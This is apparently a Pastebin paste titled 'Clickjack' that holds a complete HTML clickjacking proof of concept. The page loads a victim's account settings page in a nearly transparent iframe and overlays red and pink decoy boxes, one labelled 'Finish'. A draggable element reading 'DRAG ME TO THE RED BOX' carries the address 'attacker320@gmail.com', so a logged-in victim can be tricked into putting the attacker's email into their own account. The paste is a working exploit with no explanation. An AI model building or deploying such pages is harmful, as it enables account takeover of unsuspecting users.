Guest User

Clickjack

a guest
May 27th, 2020
1,373
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 0.70 KB | None | 0 0
  1. <head>
  2. <style>
  3. #payload{
  4. position: absolute;
  5. top: 20px;
  6. }
  7. iframe{
  8. width: 100%;
  9. height: 585px;
  10. border: none;
  11. }
  12. .xss{
  13. position: fixed;
  14. background: #F00;
  15. }
  16. </style>
  17. </head>
  18. <body>
  19. <div style="height: 26px;width: 250px;left: 46.5%;top: 24.5%;" class="xss">.</div>
  20. <div style="height: 30px;width: 130px;left: 33%;bottom: 29%;background: #F5F;" class="xss">Finish</div>
  21. <iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://www.private.com/user/account"></iframe>
  22. <div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker320@gmail.com')"><h3>DRAG ME TO THE RED BOX</h3></div>
  23. </body>
  24. </html>
Add Comment
Please, Sign In to add comment